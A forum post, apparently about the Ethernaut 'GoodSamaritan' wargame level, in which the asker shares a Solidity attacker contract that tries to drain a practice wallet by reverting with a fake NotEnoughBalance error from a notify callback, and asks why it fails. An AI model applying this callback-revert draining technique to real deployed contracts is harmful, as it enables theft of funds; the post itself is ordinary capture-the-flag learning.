I tried a bunch of things to bubble up the NotEnoughBalance() error from INotifyable(dest_).notify(amount_) function to the catch block in GoodSamaritan contract, but none of them seem to work.
My best guess is this attacker contract:
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IGS {
function requestDonation() external returns (bool);
}
contract Notifyable {
address public gs = 0x4EFa9A4f7617D7331cDE4D04ee9990DCEE71d3Bd; // GoodSamaritan contract instance
// error NotEnoughBalance();
function attackGS() external {
IGS(gs).requestDonation();
}
function notify(uint256 _amount) external {
revert("NotEnoughBalance()");
}
}
On calling attackGS(), the txn successfully completes (after doing an internal revert as expected) but Wallet contract is not drained.
Also, on uncommenting error NotEnoughBalance(); and replacing revert("NotEnoughBalance()") with revert NotEnoughBalance(), the txn actually reverts and the catch block in GoodSamaritan contract is not able to catch it.
Would appreciate any help on this one.
Thanks.
